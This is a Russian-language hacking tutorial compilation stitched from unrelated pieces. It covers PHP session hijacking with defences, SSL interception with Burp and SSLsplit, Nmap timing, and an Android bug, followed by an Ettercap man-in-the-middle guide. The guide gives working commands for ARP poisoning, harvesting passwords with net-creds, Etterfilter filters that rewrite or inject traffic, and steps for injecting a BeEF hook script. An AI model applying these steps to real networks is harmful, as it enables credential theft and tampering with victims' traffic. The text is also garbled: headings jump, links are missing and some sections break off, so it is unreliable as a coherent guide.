Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету, использование пользовательских фильтров и плагинов, подцепление на BeEF, заражение бэкдорами. Подцепление BeEF с помощью Burp

Способы взлома и защиты сессии от кражи

Большинство сайтов в сети интернет открыто для внешних воздействий со стороны хакеров. Даже масштабные дорогие интернет проекты взламывают: оставляют следы или уводят базу данных. В результате страдает владелец ресурса, а так же посетители.

Чтобы избежать проблем взлома требуется выполнить ряд мер во время разработки . Некоторые профилактические действия нужно проводить в процессе работы сайта.

В прошлых статьях я показал, как выполняются , а так сервера. Сегодня речь пойдет о перехвате и защите сессий взломщиками.

Сессия сайта

PHP – наверное, самый распространенный серверный язык программирования для сайтов. В php сессия сайта стартует с помощью команды session_start(). Перед стартом можно указать дополнительные параметры. В сессии обычно хранят важную личную информацию о пользователе: логин, имя, пароль,..

Перехват Сессии

Есть 2 способа хранения идентификатора сессии: в куках и в адресной строке. Первый вариант более надежный, чем второй, однако оба поддаются взлому в той или иной степени. Данный вид взлома называется перехват сессии.

Пусть идентификатор хранится в урле сайта. Залогинившийся посетитель, гуляя по страницам вашего сайта, решает с кем-то . Публикуя ссылку, он отдает ссылку со своим идентификатором сессии. Если на сайте отсутствуют какие-либо дополнительные методы защиты, то, перейдя по такой ссылке, новый посетитель уже будет залогинен под первым пользователем, если сессия еще не закончилась. Далее делай на сайте что хочешь в разрешенных правилами рамках.

С куками дела обстоят сложнее, но тоже все достаточно легко перехватывается. Многие сайты при публикации информации пользователями не фильтруют браузерные скрипты. Потенциальный взломщик размещает такой скрипт на странице. Залогиненный посетитель заходит на страницу… Скрипт считывает значение кук или адресную строку и передает идентификатор сессии на другой сайт. Другой сайт принадлежит хакеру. Далее все просто. Подделывается кука или вводится адрес страницы сайта с нужным идентификатором сессии.

Взлом сессии

При старте сессии во временной директории создаются файлы сессии. В этих файлах хранится информация. Если используется , то, обычно, временная папка для хранения сессий общая у всех сайтов на сервере. Далее определенным образом выполняется считывание данных сессии своим скриптом. Для этого злоумышленник должен иметь аккаунт на этом же сервере. В результате, если в сессии хранится пароль от сайта или номер кредитки с cvv кодом, то все эта полезная информация попадет в руки злоумышленника.

Защита от взлома данных сессии
  • Хранить сессию в куках. Сложнее увести.
  • Привязывать сессию к ip адресу компьютера. При заходе с другого ip создается новая сессия в зависимости от настроек скрипта.
  • Привязывать сессию к юзер агенту браузера. При заходе с другого браузера сессия обнуляется.
  • Шифровать передаваемые в сессию параметры. Если злоумышленник получит файл сессии, то он не сможет его прочитать. Хотя при наличии определенных навыков, расшифровать сессию тоже возможно.
  • Хранить идентификаторы сессии в отдельной папке. В php для этого существует команда session_save_path($path_to_dir). Эту же настройку можно прописать в файле php.ini. Параметр называется session.save_path.
  • Использовать session_set_save_handler() в php для переопределения способа хранения сессии. А начиная с PHP 5.4 можно передать объект типа SessionHandlerInterface в session_set_save_handler().

Решение: Нередко бывает нужно потребоваться перехватить данные. Например, для решения исследовательских задач или при проведении реальных атак. Причем наряду с возможностью посмотреть желательно еще иметь возможность и поменять что-то в потоке данных. И если с обычными протоколами по большей части все просто, то при оборачивании их в SSL (что случается в последнее время все чаще) мы получаем проблемку.

Warning!

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Окей, если говорить об анализе трафика из браузера, то проблем не возникает. Любой перехватывающий прокси-сервер (а-ля Burp или ZAP) справится с этим на раз. А что делать, если «ломаемое» клиентское приложение не умеет использовать прокси? А что делать, если используется там какой-нибудь не HTTP-протокол? О решении второй проблемы мы поговорим в следующей задаче (разделены они были лишь для будущего удобного поиска), о первой же - читай ниже.

Хотелось бы отметить, что идейно «атака» на SSL будет одинакова для любой из тулз. Важно понимать, что никто не пытается расшифровать передаваемые данные, ведь главное - это обойти проверку правильности конечной точки подключения, которая происходит на первых этапах подключения, то есть заставить клиент думать, что наш сервис - это то место, куда он хотел подключиться. Подписи, сертификаты и все такое. Но не будем углубляться и перейдем к сути.

Есть клиентское приложение, работает по HTTPS, но юзать прокси не умеет. Мы можем использовать тот же Burp или любой другой прокси, который в состоянии работать в режиме transparent (invisible).

Немного поясню, в чем разница. Начнем с простого - с HTTP, а потом перейдем к HTTPS. Для обычного HTTP-трафика, когда используется прокси, ПО (а-ля браузер) посылает такой запрос:

GET http://any\_host.com/url?query=string HTTP/1.1 Host: any\_host.com

Когда прокси отсутствует, то браузер шлет

GET /url?query=string HTTP/1.1 Host: any\_host.com

Как видишь, в варианте с прокси (обычным прокси) в запросе (то, что после GET) присутствует имя хоста. При получении запроса прокси по этому имени понимает, куда нужно подключиться и отправить запрос.

Если же приложение не поддерживает работу с прокси, то у нас возникает две проблемы: как заставить его подключиться к нам и как наш прокси может понять, куда подключаться.

Для решения первой задачи нам пригодится любой метод, при котором трафик от приложения потечет через нас. Мы можем либо стать гейтвеем/шлюзом для подсети (ARP poisoning в помощь), либо стать сервером (запись в hosts, DNS spoofing и прочее), либо использовать что-то поизвращенней.

Вторая же задача решается тем, что прокси берет имя сервера, куда надо подключаться, но не из URL’а, а из заголовка Host в самом запросе. Вот такое поведение прокси и называется transparent (хотя имеются и другие значения). Ты, например, можешь ходить в инет на работе, не указав прокси, но фактически подключения твои будут все равно идти через корпоративный прокси, с теми же ограничениями на контактик, что и у проксированных юзеров.

Но это было про HTTP. А как же с HTTPS? Здесь все труднее.

В прошлом номере я описывал, как работает браузер через прокси, подключаясь к HTTPS-сайтам. Напомню, что браузер подключается к прокси методом CONNECT с указанием имени хоста, куда он хочет подключиться. Прокси же, в свою очередь, подключается по указанному имени хоста, а дальше просто редиректит трафик от браузера на сервер.

Если же приложение не поддерживает прокси, то как же transparent прокси узнает, куда ему подключать клиента? В описанных условиях - никак. Во всяком случае, в автоматическом режиме.

Но все-таки вариант есть, если добавить сюда еще одну технологию. Она называется Server Name Indication (SNI) и является одним из расширений SSL-протокола. Поддерживается еще далеко не всеми, но основные браузеры уже в лодке. Технология очень простая. Клиент указывает имя сервера, куда подключается в самом начале SSL handshak’а (то есть эта инфа не зашифрована).

Таким образом, у transparent-прокси опять-таки появляется возможность автоматически проксировать данные между клиентом и серверами на основе анализа SNI при подключениях.

Теперь общая ситуация примерно ясна. Перейдем к частностям. За основу возьмем Burp и его возможности, как типовой пример.

Если клиентское приложение не поддерживает прокси, то Burp, как ты уже понял, умеет работать в режиме invisible proxy. Включить его можно, воспроизведя следующую цепочку:

Proxy -> Options -> Proxy Listeners -> Выделение прокси -> Edit -> Request Handling -> Support Invisible Proxy.

Если клиент поддерживает SNI, то все хорошо: Burp может и к нужному хосту подключиться, и сгенерировать сертификат либо самоподписанный, либо подписанный Burp’овским CA. Но если это не так, то придется поработать руками.

Во-первых, на вкладке Request Handling мы должны указать адрес и порт, куда необходимо осуществлять подключение. Во-вторых, в Certificate указать имя сервера, для которого будет сгенерен сертификат. Самоподписанный создать совсем не получится.

Ясное дело, эти данные надо еще откуда-то получить. Тебе, скорее всего, потребуется посмотреть, к какому IP-адресу и порту подключается клиентское приложение, а далее подключиться к нему напрямую и из полученного SSL-сертификата взять имя для генерации своего.

Как видишь, все просто, но местами муторно. Но в итоге мы получаем чистый HTTP-трафик в Burp’е. За подробностями по этой возможности Burp’а обращайся сюда .

Перехватить не HTTP-трафик в SSL

Решение: Как ты, наверное, заметил, описанный выше транспарент-прокси для SSL-трафика, по сути, представляет собой простой порт-форвардинг. Получается такой редирект с подменой сертификата. И на самом деле, ведь в данном случае нет никакой особой привязки к протоколу, который находится внутри SSL. То есть предыдущая задача в какой-то мере подвид этой.

Наш же вопрос с прошлого топика - а что делать, если внутри SSL используется не HTTP-протокол? IMAPS, FTPS и почти любой другой аналогичный протокол с буковкой S на конце. В SSL запихивают все подряд. А ведь как сладко было бы обойти SSL и добраться до чистого трафика…

Ответ простой. В других случаях - не использовать Burp:), а использовать что-то другое. Есть много различных тулз, которые в этом помогут. Какие-то из них заточены под конкретный протокол, но есть и универсальные. С одним из универсалов я и хотел бы тебя сегодня познакомить - с SSLsplit .

Тулза эта прекрасна тем, что ее основная идея очень проста и понятна, но при этом имеется приличный объем специфичных настроек. Она представляет собой простой порт-форвардер («если трафик пришел на такой-то порт - пересылай все в такое-то место»), но имеет возможность для «работы» с SSL. Можно подсунуть реальный (краденый) сертификат, создать самоподписанный или подписанный своим CA. Также поддерживает автоматическую генерацию на основе SNI или редирект трафика на конечный IP-адрес (когда мы изображаем из себя гейтвей). Плюс она консольна, что позволяет легко автоматизировать типовые действия. Все это в целом делает ее куда более юзабельной для проведения атак (а не просто анализа протоколов приложений). Что делать дальше с трафиком - это уже зависит от твоих потребностей.

Не буду приводить здесь мануалы по пользованию, а ограничусь небольшим показательным примером.

Sslsplit -k ca.key -c ca.crt -l connect.log -L /tmp ssl 0.0.0.0 993 www.example.org 993 tcp 0.0.0.0 143

Здесь -k и -c указывают путь до приватного ключа и сертификата нашего CA, которые можно сгенерить при необходимости, используя openssl. Остальные параметры:

  • -l - путь до файла, в котором будет вестись лог коннектов;
  • -L - путь до директории, в которой будут сохраняться логи всех подключений (в плейн-тексте);

Далее блок «ssl 0.0.0.0 993 www.example.org 993». Ssl указывает, что мы снифаем SSL и надо подменить сертификат. Далее интерфейс и порт, на котором SSLsplit будет прослушивать трафик. Последняя пара - имя домена и порт, куда SSLsplit должен подключиться.

Блок «tcp 0.0.0.0 143» почти аналогичен. Но здесь мы указываем, что ssl не используется (поэтому tcp), а также входной порт SSLsplit. Если SSLsplit «подключен», как гейт (шлюз), то можно не указывать конечную точку подключения, так как она будет взята из IP-заголовков.

Таким образом, мы имеем простую и универсальную тулзу. Описание ее использования с примерами можно почитать , а перечень всех возможностей (man).


Настроить Nmap для сложных условий

Решение: Nmap, несомненно, тулзенка из топ-десятки самых необходимых и заюзанных тулз - как для пентестов, так и для мониторинга системы, да и для других дел. С одной стороны, она проста, умна и быстра, за что ее все любят. С другой стороны, при работе с ней в нестандартных условиях возникают различного рода трудности, во многом связанные с тем, что не совсем понятно, как же она устроена внутри, ее алгоритмы.

А внутренности Nmap совсем не простые, даже если взять ее главный функционал - сканирование портов. Не вдаваясь в подробности, можно четко утверждать, что целью создателей Nmap было сделать сканер, который бы предельно точно находил открытые порты (то есть без false positive, false negative), мог бы работать в различных сетях (стабильных/нестабильных, быстрых и медленных), подстраиваться под меняющиеся характеристики сети (например, когда промежуточное сетевое оборудование перестало справляться с нагрузками). То есть поведение Nmap меняется динамически, под конкретную сеть, под конкретный хост.

С другой стороны, его нацеленность на точность часто очень негативно сказывается на производительности. Приведу типичный пример: сканирование хостов в интернете, часть из которых находится за файрволом. На SYN-запрос на закрытый порт файрвол не отвечает ничего, вместо RST. Казалось бы, в чем проблема? Как раз в умности Nmap. Так как причин проблемы он не знает (файрвол, лагучая сеть, ограничения конечного хоста), то он будет замедлять частоту отправки запросов на сервер (до одной секунды по умолчанию), увеличивать ожидание до ответа на отправленный запрос (до десяти секунд). И добавь сюда то, что Nmap перепроверяет порты по десять раз. Получается, чтобы просканировать все TCP-порты зафайрволенного хоста с одним открытым портом, счет переходит даже не на часы, а на дни. Но найти-то данный открытый порт необходимо.

Но это еще не самая проблема. Nmap, дабы повысить свою производительность, сканирует сеть группами хостов, а не по одному. При этом характеристики сети для каждого из хостов будут отслеживаться индивидуально, что тоже хорошо. Проблема же заключается в том, что новая группа хостов не начинается, пока не закончилась предыдущая. Получится, что один хост может затормозить сканирование целого диапазона хостов… И чтобы такого не случилось, желательно наконец-то разобраться с возможностями тонкой настройки Nmap.

Признаюсь, сам я не глубокий знаток алгоритмов Nmap (об этом ведь даже книги пишут:Nmap Reference Guide , Nmap Network Scanning), что необходимо для корректной настройки таймингов. С другой стороны, у нас тут Easy Hack, так что сконцентрируемся на основных параметрах и практических рекомендациях (которые в большинстве случаев отлично работают).

Итак, у Nmap есть ряд параметров, напрямую влияющих на производительность. Все приводить не буду, а лишь понравившиеся:).

Перед началом сделаю два замечания. Здесь, раньше и далее «по умолчанию» значит «для профиля Т3», который и на самом деле используется по умолчанию, когда не выбран какой-то другой профиль. А значение задается в секундах, но можно использовать и другие единицы времени, добавляя соответствующую букву. Например, 3000ms, 5h, 10s.

--initial-rtt-timeout , --max-rtt-timeout . RTT (Round Trip Time) - время от отправки пакета до получения на него ответа. Очень важный параметр, который постоянно подсчитывается Nmap’ом во время сканирования. И не зря, ведь по нему Nmap понимает «производительность» сети и конечного хоста. Фактически он напрямую влияет на то, как долго будет ждать Nmap между отправкой запроса и получением ответа.

И как ты понимаешь, если ответа мы не получаем, то это значительно влияет на RTT. Как следствие, Nmap, послав SYN-пакет в «черную дыру» файрвола, будет ждать в итоге max-rtt (даже в быстрой сети), перед тем как понять, что порт зафильтрован. По умолчанию initial - одна секунда, max - десять секунд.

Для выбора же корректных значений RTT запускаем Nmap с параметром -traceroute (команда ping тоже подойдет). По сути, нам надо получить время прохождения пакета до конечного хоста или хотя бы «близкого» к нему. Далее, рекомендуется для initial указать удвоенное полученное значение, а для max - учетверенное.

--max-retries - очень простой параметр - максимальное количество повторов. Хотя я уже и писал, что десять повторов может быть, но это только в случае, если Nmap ощущает «плохую» сеть. Обычно меньше. Так что если сеть хороша - можешь обрезать вполовину и даже больше.

--max-scan-delay - максимальное время ожидания между отсылкой пакетов. По умолчанию - секунда. Если сеть хороша и нагрузки не боится (то есть почти всегда), то спокойно можно уменьшать даже в пять раз.

--host-timeout . Последний параметр относится косвенно к настройке тайминга, но очень и очень полезен. Он позволяет установить значение, после которого хост «пропускается» в сканировании.

Представь, сканируем мы сеть класса С и сканирование идет скоренько. Но тут бац! Два-три хоста где-то в середине сильно зафильтрованы. Если не настроил все заранее (как указано выше), либо жди «до бесконечности», либо пересканируй все заново, но уже с настройками.

Так вот, если Nmap достигает host-timeout для конкретного хоста, то он останавливает сканирование и переходит к следующим хостам. Установив значение минут в двадцать-тридцать, можно уже не опасаться «зафайрволенных» хостов, по достижению лимитов они проскочат. А разобраться с ними можно будет уже позже, настроив сканирование вручную. И да, по умолчанию он бесконечен.

Конечно, есть еще другие параметры для настройки производительности Nmap’а, так что если эти тебе не помогли, то обратись сюда . Но главная мысль, скорее, такова: лучше потратить чуть больше времени на первичную настройку, чем потом ждать или пересканировать.


Установить любое приложение на Android

Решение: Недавно была задискложена отличнейшая логическая бага в Android. И мне кажется, это хороший, типичный представитель логических уязвимостей, а потому хотелось бы познакомить тебя с ней. Ведь такие баги - это просто кайф: и мозгом пошевелить надо, и найти можно там, где уже «каждый совал свою кавычку».

Итак, суть проблемы заключалась в том, что любое андроидовское приложение, обладающее определенными, не очень большими привилегиями, имело возможность установить ЛЮБОЕ другое приложение с маркета, с любыми привилегиями. То есть закачал себе человек игрульку, а та взяла и поставила еще софта на девайс и слила все деньги через какой-нить SMS-сервис. Здесь мы видим прямой профит для злых дядек, а потому ее автору гугл заплатила две тысячи долларов.

Давай же разберем багу. Я не буду вдаваться в технические глубины, а сконцентрируюсь на базовых вещах, чтобы те, кто незнаком с дройдами, тоже ощутил всю крутость. Ведь на самом деле она проста! Здесь все по принципу: по отдельности каждый из «фрагментов мозаики» защищен, а в целом - дыра.

Мозаика складывается из следующего:

  • В наше приложение мы можем добавить WebView, то есть браузер. При этом мы можем подпихнуть свой JavaScript на любую страницу.
  • Для установки приложения из маркета нам необходим лишь браузер. Например, ты можешь зайти на Google play и, если аутентифицирован, установить любое приложение на любой свой подцепленный девайс.
  • Обладая кое-какими правами (android.permission.USE_CREDENTIALS), приложение может запросить у Account Manager’а девайса токен на аутентификацию и автоматически залогиниться в WebView в твой акк.
  • Ощущаешь? Наше приложение может автоматически залогиниться в гугл и с помощью подконтрольного JS в WebView полностью эмулировать поведение пользователя! Всевозможные анти-CSRF-токены, запросы на согласие о высоких правах и прочее мы можем вынуть и «накликать».

    Хотя фактически так же мы можем получить доступ и к другим сервисам гугла. Почту, например, почитать:).

    Так как багу задисклозили, значит, ее и закрыли. По предположению автора, главным изменением стала отмена автоматического логина. Теперь выводится сообщение, правда ли мы хотим залогиниться, и без юзерского клика «ОК» никак не обойтись.

    На этом все. За подробностями отправляю к , да и рекомендую запилить личный PoC.

    В конце хотел бы лишь добавить про «глубину проникновения» гугла в нашу жизнь. Я не говорю о проблеме приватности. Аккаунт на гугле для очень многих людей главный, к которому привязано почти все. Причем это не просто набор критичных сервисов, а доступ к браузеру Chrome (а потом к ОС?), дройдо-девайсам (чему-то еще?). Мне кажется, что это в будущем значительно поменяет типовые подходы к безопасности. Например, трояны. Зачем «закапываться» вглубь систем, обходить разграничение прав ОС, подписи драйверов, когда можно спрятаться в JS-коде одного из компонентов браузера, ничего при этом не обходя и обладая контролем над главным «выходом»? Хотя понятно зачем:).


    Или какую защиту для банк-клиентов может дать одноразовый код по SMS, если с затрояненного браузера на компе на все дройд-девайсы пользователя можно поставить троянчик, который будет читать SMS? Но это так - словоблудие:).

    Спасибо за внимание и успешных познаний нового!

    Альтернативы Ettercap

    Ettercap является самой популярной программой для атаки человек-посередине, но является ли она самой лучшей? На протяжении всей инструкции вы будете видеть, что Ettercap почти никогда не используется в одиночку, что всегда та или иная программа выстраивается с ней в цепочку по обработке трафика. Возможно, это добавляет гибкости, вообще, такой подход лежит в основе UNIX - одна программа выполняет одну задачу, а конечный пользователь комбинирует разнообразные программы для достижения желаемого результата. При таком подходе код программ легче поддерживать, из таких миниатюрных «кирпичиков» можно построить систему любой сложности и гибкости. Тем не менее, иметь пять открытых консолей с разными задачами, работа программ которых направлена для достижения одного единственного результата - это не очень удобно, это просто сложнее, есть вероятность допустить ошибку на каком-то этапе, и вся настроенная система отработает вхолостую.

    Net-Creds снифит:

    • Посещённые URL
    • отправленные запросы POST
    • логины/пароли из форм HTTP
    • логины/пароли при базовой HTTP аутентификации
    • поиски HTTP
    • логины/пароли FTP
    • логины/пароли IRC
    • логины/пароли POP
    • логины/пароли IMAP
    • логины/пароли Telnet
    • логины/пароли SMTP
    • SNMP community string (общую строку)
    • все поддерживаемые протоколы NTLMv1/v2 вроде HTTP, SMB, LDAP и т.д.
    • Kerberos

    Хорошая подборка перехватываемых, а driftnet в этом плане попроще - только показывает перехваченные изображения.

    Переключите вашу машину в режим пересылки (форвардинга).

    Echo "1" > /proc/sys/net/ipv4/ip_forward

    Запускаем Ettercap с графическим интерфейсом (-G ):

    Ettercap -G

    Теперь выбираем Hosts , в нём подпункт Scan for hosts . После окончания сканирования выберите Hosts list :

    В качестве Цели1 выберите роутер (Add to Target 1 ), в качестве Цели2 выберите устройство, которое будете атаковать (Add to Target 2 ).

    Но здесь может возникнуть первая заминка, особенно, если хостов много. В разных инструкциях, в том числе в видео представленном выше, авторы лезут в целевую машину (у всех, почему-то, там Windows) и с помощью команды смотрят IP данной машины в локальной сети. Согласитесь, такой вариант неприемлем для реальных условий.

    Если провести сканирование с помощью , то можно получить некоторую дополнительную информацию о хостах, точнее говоря, о фирме производителе сетевой карты:

    Nmap -sn 192.168.1.0/24

    Если данных всё равно недостаточно, то можно сделать сканирование с определением ОС:

    Nmap -O 192.168.1.0/24

    Как видим, машина с IP 192.168.1.33 оказалась Windows, если это не знак свыше, тогда что это? 😉 LOL

    Именно её мы и добавляем в качестве второй цели.

    Теперь переходим к пункту меню Mitm . Там выберите ARP poisoning… Поставьте галочку на Sniff remote connections .

    Начинаем собирать урожай, в одном окне запускаем

    Net-creds

    в другом (обе программы можно запускать без опций)

    Driftnet

    Сразу же пошёл сбор данных:

    В правой части driftnet открыло ещё одно окно, в котором показывает перехваченные изображения. В окне net-creds мы видим посещённые сайты и перехваченные пароли:

    1.2 Ettercap + Burp Suite
    3. Просмотр данных (посещённых сайтов и захваченных паролей) в Ettercap

    В меню View нам доступны вкладки Connections и Profiles . Также можно поставить галочку на Resolve IP addresses (преобразовывать IP адреса). Connections - это, понятно, соединения. Ettercap собирает в памяти профили для каждого хоста, который он обнаружил. Там собираются пользователи и пароли. При этом профили с захваченными данными аккаунта (паролями), помечаются крестиком:

    Не надо слишком сильно полагаться именно на профили - помечаются, например, перехваченные логины и пароли для FTP и для других сервисов, для которых полученную информацию программа однозначно может интерпретировать как учётные данные. Сюда не попадают, например, данные базовой аутентификации, введённые логины и пароли в веб-формы.

    В Connections самые перспективные данные помечены звёздочкой:

    Можно кликнуть два раза на эти записи для просмотра подробностей:

    Чтобы не искать эти звёздочки по всем списку, можно сделать сортировку по этому полю и все они окажутся наверху или внизу:

    Пойманная базовая аутентификация:

    Логин-пароль для Яндекса (выделено внизу):

    Это перехваченные учётные данные для Вконтакте:

    Также самые интересные данные собираются в нижней консоли:

    Если вы хотите сохранять результаты работы программы, то воспользуйтесь этими опциями (указывайте ключи при запуске Ettercap:

    Опции ведения журналов: -w, --write записать перехваченные данные в pcapfile -L, --log записать весь трафик в этот -l, --log-info записать только пассивную информацию в этот -m, --log-msg записать все сообщения в этот -c, --compress использовать сжатие gzip для файлов логов

    4. Подмена данных на лету в Ettercap
    4.1 Использование пользовательских фильтров Ettercap

    Примечание: При всех тестированиях у меня так и не заработали фильтры Ettercap. Трудно понять, дело в руках, в особенностях оборудования или в ошибке в самой программе… Но на для версии 0.8.2 (последней на текущий момент), имеется баг репорт о проблемах с фильтрами. Вообще, судя по баг репортам и форумам, фильтры или отваливаются часто, или вообще уже давно не работают. Имеется ветка, в которую внесены изменения 5 месяцев назад https://github.com/Ettercap/ettercap/tree/filter-improvements, т.е. filter-improvements (с улучшениями фильтров). И для этой ветки и для версии из репозитория были сделаны самые разнообразные тесты, опробованы разнообразные фильтры в разных условиях, потрачено много времени, но результата нет. Кстати, для установки версии filter-improvements в Kali Linux нужно сделать так:

    Sudo apt-get remove ettercap-graphical ettercap-common sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev git clone -b filter-improvements https://github.com/Ettercap/ettercap.git cd ettercap/ mkdir build cd build cmake ENABLE_PDF_DOCS=On ../ make sudo make install

    В общем, если у вас фильтры не заработали - то вы не одиноки. В инструкции про Ettercap я не могу пропустить тему фильтров, поэтому они будут рассмотрены в любом случае.

    До сих пор мы использовали Ettercap для ARP спуфинга. Это весьма поверхностное применение. Благодаря пользовательским фильтрам, мы можем вмешиваться и менять трафик «на лету». Фильтры должны содержаться в отдельных файлах и перед использованием их нужно компилировать с помощью программы Etterfilter . Хотя документация, на которую дана ссылка, и кажется куцей, но в купе с примерами, которые приведены ниже, она позволит писать довольно интересные фильтры.

    Давайте создадим наш первый фильтр, он будет все изображения подменять на это:

    В файл с именем img_replacer.filter скопируйте:

    If (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # примечание: строка замены такой же длины как и оригинальная msg("zapped Accept-Encoding!\n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("src=", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC=", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); replace("SRC =", "src=\"http://www.irongeek.com/images/jollypwn.png\" "); msg("Filter Ran.\n"); }

    Скомпилируйте файл:

    Etterfilter img_replacer.filter -o img_replacer.ef

    Результаты компиляции:

    Etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team 14 protocol tables loaded: DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 13 constants loaded: VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP Parsing source file "img_replacer.filter" done. Unfolding the meta-tree done. Converting labels to real offsets done. Writing output to "img_replacer.ef" done. -> Script encoded into 18 instructions.

    Ключ -F говорит программе, что нужно загрузить фильтр из файла, который идёт за ключом. После компиляции имя нашего нового файла с фильтром img_replacer.ef, поэтому команда приобретает вид:

    Ettercap -G -F img_replacer.ef

    Примечание : Когда вы мониторите веб-трафик, пакеты, которые вы видите, могут проходить в закодированной форме. Для эффективной работы фильтров, Ettercap нуждается в трафике в виде простого текста. По некоторым наблюдениям, тип кодировки, который используют веб-страницы это "Accept-Encoding: gzip, deflate"

    Ниже фильтр, которые затирает кодировку принуждая к общению в форме простого текста:

    If (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "gzip")) { replace("gzip", " "); # примечание: четыре пробела в заменяемой строке msg("whited out gzip\n"); } } if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "deflate")) { replace("deflate", " "); # примечание: семь пробелов в заменяемой строке msg("whited out deflate\n"); } }

    Синтаксис написания фильтров подробно описан , а далее ещё несколько примеров:

    # замена текста в пакете: if (ip.proto == TCP && search(DATA.data, "lol")){ replace("lol", "smh"); msg("filter ran"); } # показать сообщение, если tcp портом является 22 if (ip.proto == TCP) { if (tcp.src == 22 || tcp.dst == 22) { msg("SSH packet\n"); } } # записать весь telnet трафик, также выполнить./program на каждый пакет if (ip.proto == TCP) { if (tcp.src == 23 || tcp.dst == 23) { log(DATA.data, "./logfile.log"); exec("./program"); } } # записать весь трафик, кроме http if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) { log(DATA.data, "./logfile.log"); } # некоторые операции с полезной нагрузкой пакетов if (DATA.data + 20 == 0x4142) { DATA.data + 20 = 0x4243; } else { DATA.data = "modified"; DATA.data + 20 = 0x4445; } # отбросить все пакеты, содержащие "ettercap" if (search(DECODED.data, "ettercap")) { msg("some one is talking about us...\n"); drop(); kill(); } # записать расшифрованные ssh пакеты, соответствующие регулярному выражению if (ip.proto == TCP) { if (tcp.src == 22 || tcp.dst == 22) { if (regex(DECODED.data, ".*login.*")) { log(DECODED.data, "./decrypted_log"); } } } # убийство пакетов if (ip.ttl < 5) { msg("The packet will die soon\n"); } # то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты if (eth.proto == IP6 && ipv6.hl < 5) { msg("The IPv6 packet will die soon\n"); } # сравнение строки на данный сдвиг if (DATA.data + 40 == "ette") { log(DATA.data, "./logfile"); } # вставить файл после указанного пакета if (tcp.src == 21 && search(DATA.data, "root")) { inject("./fake_response"); } # целиком заменить пакет на другой if (tcp.src == 23 && search(DATA.data, "microsoft")) { drop(); inject("./fake_telnet"); } # Изменение бинарных данных используя внешнюю программу if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) { log(DATA.data, "/tmp/payload"); drop(); execinject("/bin/sed "s/\x03com\x00/\x02my\x04page\x02de\x00/g" /tmp/payload"); udp.len += 7; exec("/bin/rm /tmp/payload"); msg("faked"); } # фильтровать только указанный IP адрес if (ip.src == "192.168.0.2") { drop(); } # делать то же самое для IPv6 if (ipv6.src == "2001:db8::1") { drop(); } # комбинируем IPv4 и IPv6 if (eth.proto == IP && ip.dst == "192.168.0.2") { msg("drop IPv4"); drop(); } if (eth.proto == IP6 && ipv6.dst == "2001:db8::1") { msg("drop IPv6"); drop(); } # транслировать tcp пакеты с порта 80 на 81 if (tcp.dst == 80) { tcp.dst -= 1; tcp.dst += 2; } # найти и покалечить пакеты ESP if (ip.proto == ESP) { DATA.data = "DEADDECAF"; }

    4.2 Подмена данных с помощью Burp

    Запускаем Ettercap и Burp как это описано в пункте 1.2 или в пункте 2.2.

    В Burp переходим в Proxy -> Options . Находим там Match and Replace . Нажимаем Add для добавления нового правила.

    • Request header - это заголовок запроса
    • Request body - тело запроса
    • Response header - заголовок ответа
    • Response body - тело ответа
    • Request param name - Имя параметра запроса
    • Request param value - Значение параметра запроса
    • Request first line - Первая строка запроса

    Если нужно поменять данные, передаваемые методом GET, то это относится к заголовкам.

    В HTML разметке также есть такое понятие как head (тэг head). К этому заголовку те, о которых сказано чуть выше, не имеют никакого отношения. Чуть выше говориться о заголовках пакетов. Если вы хотите изменить содержимое HTML страницы, то нужно вместо Request header всегда выбирать Response body, даже если вы собираетесь менять содержимое тэга head (например, заголовок).

    Если вы не знакомы с регулярными выражениями, то, в принципе, ничего страшного: HTML многое прощает, и то, что ему непонятно, он просто игнорирует - этим можно пользоваться. Если же вы умеете пользоваться регулярными выражениями, то я вас уважаю.)))

    Для примера создадим новое правило, Request header меняем на Response body. В самом правиле мы будем менять

    .*

    No Title

    Поставьте галочку на Regex match .

    Теперь на всех сайтах (без HTTPS) вместо заголовка будет No Title:

    Вставляем произвольную строку после тэга body (будет первой строкой в тексте). Request header меняем на Response body. Меняем

    Поставьте галочку на Regex match .

    В правом верхнем углу (зависит от вёрстки) появляется надпись «I am cool!». Можно вставлять CSS, JavaScript код, любой текст - что угодно. Можно вообще всё из страницы удалить, а потом заполнить её своим содержимым - всё зависит от вашей фантазии.

    Была идея чуть модифицировать каждую форму, чтобы данные отправлялись на оригинальный сервер и на сервер атакующего (реализовать мульти submit для каждой формы). Но рассудив, что если передоваемые данные не зашифрованные и мы имеем к ним доступ - то мы и так их видим, ни на какой сервер их отправлять не нужно. Тем не менее, если кому-то понадобиться, реально работающий пример отправки данных из одной формы сразу на несколько серверов.

    5. Подцепление на BeEF

    Чтобы начать использовать возможности BeEF , нам нужно внедрить в HTML код JavaScript файл, обычно это строка вида:

    Следующие два метода различаются только методом внедрения этой строки.

    5.1 Подцепление BeEF с помощью фильтров Ettercap

    [раздел будет подготовлен позже]

    5.2 Подцепление BeEF с помощью Burp

    Начать нужно в точности также, как написано в пункте 4.2. Только вместо замены заголовков и добавления текста на сайт мы внедрим JavaScript код в виде строки:

    В моём случае этот файл доступен на IP 192.168.1.36 на порту 3000. Файл так и называется hook.js (можно поменять в настройках). Т.е. в моём случае мне нужно внедрить строку:

